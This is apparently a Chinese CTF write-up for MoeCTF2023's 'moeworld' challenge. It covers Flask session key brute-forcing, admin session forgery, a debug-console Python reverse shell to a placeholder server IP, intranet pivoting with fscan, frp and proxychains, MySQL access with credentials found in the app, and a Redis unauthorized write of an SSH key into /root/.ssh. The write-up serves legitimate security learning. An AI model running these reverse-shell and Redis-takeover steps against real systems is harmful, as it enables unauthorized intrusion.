MoeCTF2023_moeworld_Web
西电的新生赛题目还是不错的,(打打新生赛做下康复训练
前面的题目就不讲了,感觉最后一题还挺好玩的,特此记录一下。
moeworld
Part 1
首先做出来了前面的“出去旅游的心海”题目拿到了压缩包的密码,打开之后得到一个md文件和一个密码保护的hint.zip
接下来进入题目环境,上来是一个登录界面,随便注册一个账号登录发现是一个留言板应用:
从留言板上可以看到,admin写出了session密钥的构造形式,看起来最后仅有16^4个组合,可以考虑进行密钥爆破进而进行session伪造。
这里用到了这个工具:
GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder
我利用这个工具写了一个小脚本用来爆破出session密钥:
1 | from flask_session_cookie_manager3 import * |
这样可以很轻松爆出session密钥(这个是随机的并不通用,需要自己爆破):
同样是使用这个工具,首先看一下session解码后的格式:
语义还是比较清晰的,分别是权限和用户名,既然知道了如何构造以及构造所需要的密钥,那么下面就来伪造admin用户的session:
这样就进入到admin账户中:
从留言板中可以看到多出来了这么一条,那这样思路就很明晰了,制造错误进入调试模式,进而命令执行。将session格式中的power键删掉。
替换原来的session后成功进入到调试模式,输入PIN码后可以在console中执行python命令。
可以在这里进行命令执行,但是感觉有些麻烦所以我这里直接用python反弹shell到我的云服务器。在服务器中使用命令
1 | sudo nc -lvvnp 端口 |
使用nc监听一个指定端口,之后在调试模式中执行命令将/bin/sh反弹回来:
1 | import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("服务器IP",监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); |
这样在服务器中可以看到shell已经成功弹了出来,之后查看根目录,从根目录下能看到有flag文件和readme文件:
这样我们就得到了第一部分flag和一些提示。
Part 2
在/app/tools目录下有fscan工具,内网概念比较宽泛,试了好几次c段和b段内网扫描,时间用得不是很长,可是依旧一无所获。突然想到可以找找内网主机相关记录缩小扫描范围,像/etc/hosts, /proc/net/tcp, /proc/net/udp, /proc/net/dev这些都会有主机记录,最后在/etc/hosts文件中锁定了内网网段:
那下面就使用fscan工具扫描一下172.20.0.1/24和172.21.0.1/24这两个网段,最终找到了需要的结果。
这样,根据之前moeworld.md的内容,得到压缩包密码为:22-3306-6379-8080 (看样例我先入为主以为是三个的组合,于是进行了一波手动全排列也没得到答案QwQ),之后解开hint.zip得到了hint文件,改后缀txt得到下一步提示:
学习了一波frp,搞明白了使用方法。大概的流程为:
1 | 我的本地主机(kali)<==使用proxychains连接==>我的有公网IP的服务器(frps)<==>靶机(frpc) |
因此我们首先需要将服务器与靶机建立连接,分别为服务器和靶机配置frps.ini和frpc.ini,注意这里在靶机的用户由于权限受限,因此需要到/tmp目录下写一个frpc.ini配置文件,之后再引用。这里直接贴出两个配置文件:
1 | # frps.ini |
靶机如何写入配置文件?可以使用echo命令,-e参数来使能转义,配合重定向输出符号>来写入文件:
1 | echo -e '[common]\nserver_addr = 服务器IP\nserver_port = 服务器上建立连接的端口\ntoken = 对应的token\n\n[plugin_socks5]\ntype = tcp\nplugin = socks5\nremote_port = 服务器上的服务端口\n' > frpc.ini |
这样服务器和靶机就建立了连接,靶机的网络环境被穿透出来,在本地主机修改/etc/proxychains4.conf文件,最底部添加
1 | socks5 服务器IP 服务器上的服务端口 |
这样修改保存后,在本地主机执行命令前加入proxychains的前缀即可调用proxychains获得内网环境。下一步就是连接数据库了。数据库账号密码从何而来?在/app/dataSql.py文件中写好了数据库账号密码。
1 | proxychians4 mysql -uroot -pThe_P0sswOrD_Y0u_Nev3r_Kn0w -h172.20.0.3 |
下面就是正常的看数据库名,看表名,能看到有flag表,直接查询得到第二部分flag。(这里卡了两天,之前死活连接不上数据库,跟出题人联系后发现是靶机容器网卡有问题。。。以后有问题一定要及时与出题人联系)
Part 3
下面就是第三部分的flag了,轮到redis了。说到redis最著名的就是未授权访问了,使用redis-cli尝试直接进行连接并尝试执行info命令,可以看到成功带出info信息,确实存在redis未授权访问。
我这里alias pc=”proxychains4”了,相当于一个简写,写pc就代表了proxychains4.
尝试直接写入公钥进行连接。我这里用的kali,其他linux发行版大同小异。首先在本地生成用来ssh连接的公钥和私钥:
1 | ssh-keygen -t rsa |
一路回车,在~/.ssh目录下能看到生成了两个文件,带有.pub后缀的就是公钥文件,使用cat查看内容
在redis中分别执行命令:
1 | config set dir /root/.ssh |
这样当每一步都返回OK则写入成功,下面在本地主机中执行命令:
1 | proxychians4 ssh -i id_rsa root@172.20.0.2 |
这样就成功连接到主机,根目录下的flag即为第三部分flag,组合起来即为最终flag。
完结~